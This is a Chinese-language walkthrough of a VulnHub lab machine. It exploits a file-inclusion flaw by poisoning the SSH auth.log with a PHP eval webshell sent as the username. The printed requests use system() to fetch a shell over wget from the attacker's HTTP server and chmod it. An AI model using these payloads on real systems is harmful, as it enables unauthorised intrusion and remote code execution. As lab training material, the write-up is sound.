vulnhub-evilscience(SSH日志包含)


很久没有写vulnhub了,趁着这周末上午做一套练练手,主要的点还是在文件包含日志和msf提权方面。

下载地址:

https://www.vulnhub.com/entry/the-ether-evilscience,212

测试环境

VM采用的是桥接模式,在WIN10上使用advance ip scanner获取靶机ip地址

image.png-9.8kB

攻击IP 类型 靶机IP
192.168.1.102 WIN10/pc 192.168.1.104
192.168.235.234 Kali/VM 192.168.1.104

信息收集

在扫描靶机地址的时候获取到存在HTTP页面,为了稳妥期间,在渗透WEB页面之前对靶机其他的端口进行扫描,获取更多的信息。这里使用nmap进行扫描

命令:

nmap -T4 -A -sS -p 1-65535 -v 192.168.1.104

image.png-445.8kB

开放的端口为22和80端口,我们还是先从80端口入手对WEB页面进行渗透测试

WEB渗透测试

访问WEB页面

image.png-1368.6kB

像是一个医药公司的站点?看一下其他页面

image.png-407.4kB

about页面简单的介绍了这是个搞基因的小组,这些都不重要,重要的是我们在URL的位置,发现了疑似文件包含的漏洞,尝试构造一下读取源码

image.png-298.5kB

没有任何回显,burp抓包一下,fuzz读取一下其他文件

image.png-27.8kB

使用字典进行fuzz

image.png-45.8kB

可以看到此处存在文件包含漏洞,我们成功读出日志数据,对这几个文件进行分析

/var/log/lastlog    
# 记录所有用户的最近信息,记录系统用户信息,且不是ascii文件,需要借助命令才能成功读取
/var/log/wtmp   
#使用wtmp可以找出谁正在登陆进入系统,使用wtmp命令显示这个文件或信息等
/var/log/auth.log   
#用户认证日志,包含ssh登陆用户的信息
/var/run/utmp   
#用户操作函数

经过对文件的分析可以看到,我们能将自己的行为写入的文件只有
“`/var/log/wtmp“`和“`/var/log/auth.log“`但wtmp文件需要特定的命令才能读取,直接包含返回的为不可见字符

image.png-42.6kB

我们可以成功的包含读取auth.log的内容

image.png-77.3kB

“`/var/log/auth.log“`
显示了我们登陆ssh的详细信息,包括用户名端口等,我们可以构造恶意代码尝试ssh登陆,这样就可以把构造的语句写入到日志文件当中,再进一步使用文件包含利用即可,构造代码

ssh '<?php eval($_GET['pdsdt']); echo "111";?>'@192.168.1.104

image.png-140.8kB

对日志文件进行包含利用

image.png-84.4kB

GET /index.php?file=%2fvar%2flog%2fauth%2elog&pdsdt=phpinfo(); HTTP/1.1
Host: 192.168.1.104
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1

成功执行命令,使用命令创造一个shell文件,以便于我们后期的渗透

首先在本地创建一个shell文件,更名为pdsdt.jpg

image.png-103.7kB

使用python开启临时的HTTP端口,方便靶机下载shell

python -m SimpleHTTPServer 8081

image.png-256kB

在靶机端使用wget获取我们构造的shell

GET /index.php?file=%2fvar%2flog%2fauth%2elog&pdsdt=system('wget+http://192.168.1.103:8081/pdsdt.jpg')%3b HTTP/1.1
Host: 192.168.1.104
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1

修改文件后缀名,查看一下目录下

image.png-59kB

成功生成了pdsdt.php文件,不过可以看到我们此时没有执行权限,使用chmod命令修改文件权限

GET /index.php?file=%2fvar%2flog%2fauth%2elog&pdsdt=system('chmod+777+pdsdt.php')%3b HTTP/1.1
Host: 192.168.1.104
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1

再次查看权限

image.png-12.5kB

使用我们的shell文件执行命令

image.png-38.4kB

成功执行命令,获取一下系统权限,反弹shell或者借助菜刀等工具都可以,我这里借用了蚁剑,同样的方法生成一句话木马链接即可

image.png-40.6kB

蚁剑成功连接

image.png-44.6kB

下一步主要就是提权了,先看一下目录下有没有存在可疑文件

image.png-26.2kB

在网站根目录下存在一个较大的python文件,读取一下看一下具体内容

image.png-54.4kB

加密的文件,先尝试运行一下文件看看效果,使用蚁剑的虚拟终端

image.png-24.4kB

首先发现文件的所有者是root,还要SUID的权限,运行看一下效果

image.png-25.8kB

是一个对日志进行查看分析的脚本,我们主要对文件的权限进行一个查看

image.png-48.8kB

发现我们可以在不输入root命令的情况下以root用户权限运行该文件,尝试利用该文件提权

sudo ./xxxlogauditorxxx.py

发现在执行过程中文件报错,应该是靶场文件的问题了,后期的提权问题只能等修复好该文件再进行测试了。

总结

本次靶场的总体思路还是比较清晰的,通过伪协议读取文件,虽然在index.php中有诸多限制,我们还可以成功的读取ssh的日志文件,再通过SSH登陆写入恶意代码,使用文件包含漏洞执行命令,从而生成shell,连接蚁剑,唯一遗憾的是没有使用SUID提权,只能再从官网下载一次镜像测试了。


发表评论

电子邮件地址不会被公开。 必填项已用*标注